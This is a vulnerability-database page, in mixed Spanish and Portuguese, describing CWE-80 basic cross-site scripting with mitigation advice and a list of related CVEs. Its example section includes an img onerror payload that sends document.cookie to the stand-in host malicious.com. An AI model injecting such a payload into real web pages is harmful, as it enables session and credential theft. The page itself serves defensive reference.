Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2025-31575MEDIUMWordPress Flag Icons plugin <= 2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-20232MEDIUMCisco Industrial Ethernet 1000 Series Switches Stored Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2024-41693MEDIUMMashov - CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)EPSS 0.3%CVE-2024-41697MEDIUMPriority – CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)EPSS 0.3%CVE-2026-50146HIGHAstro: Reflected XSS via unescaped slot nameEPSS 0.3%CVE-2024-38318MEDIUMIBM Aspera Shares HTML injectionEPSS 0.3%CVE-2025-58970MEDIUMWordPress Doctreat theme <= 1.6.7 - Content Injection vulnerabilityEPSS 0.3%CVE-2025-29427MEDIUMCode-projects Online Class and Exam Scheduling System V1.0 is vulnerable to Cross Site Scripting (XSS) in profile.php via the member_first aEPSS 0.3%CVE-2025-45286MEDIUMA cross-site scripting (XSS) vulnerability in mccutchen httpbin v2.17.1 allows attackers to execute arbitrary web scripts or HTML via a crafEPSS 0.3%CVE-2025-24680HIGHWordPress WP Multi Store Locator Plugin <= 2.4.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-44369HIGHCVAT: Stored XSS via annotation guidesEPSS 0.3%CVE-2026-123860MEDIUMWordPress JetFormBuilder plugin <= 3.6.8 - Content Injection vulnerabilityEPSS 0.3%CVE-2026-121777MEDIUMWordPress Cool Formkit Lite plugin <= 2.7.10 - Content Injection vulnerabilityEPSS 0.3%CVE-2026-119496MEDIUMWordPress Media LIbrary Assistant plugin <= 3.43 - Content Injection vulnerabilityEPSS 0.3%CVE-2024-49337MEDIUMIBM OpenPages HTML injectionEPSS 0.3%CVE-2026-25467MEDIUMWordPress User Registration plugin <= 5.3.0 - Content Injection vulnerabilityEPSS 0.3%CVE-2026-123183MEDIUMWordPress Active Products Tables for WooCommerce plugin <= 2.1.6 - Content Injection vulnerabilityEPSS 0.3%CVE-2025-20331MEDIUMCisco Identity Services Engine Stored Cross-Site Scripting VulnerabiliyEPSS 0.3%CVE-2026-102279LOWLaravel: XSS in Debug Page InformationEPSS 0.3%CVE-2025-69169MEDIUMWordPress Easy Media Download plugin <= 1.1.11 - CSS Injection vulnerabilityEPSS 0.3%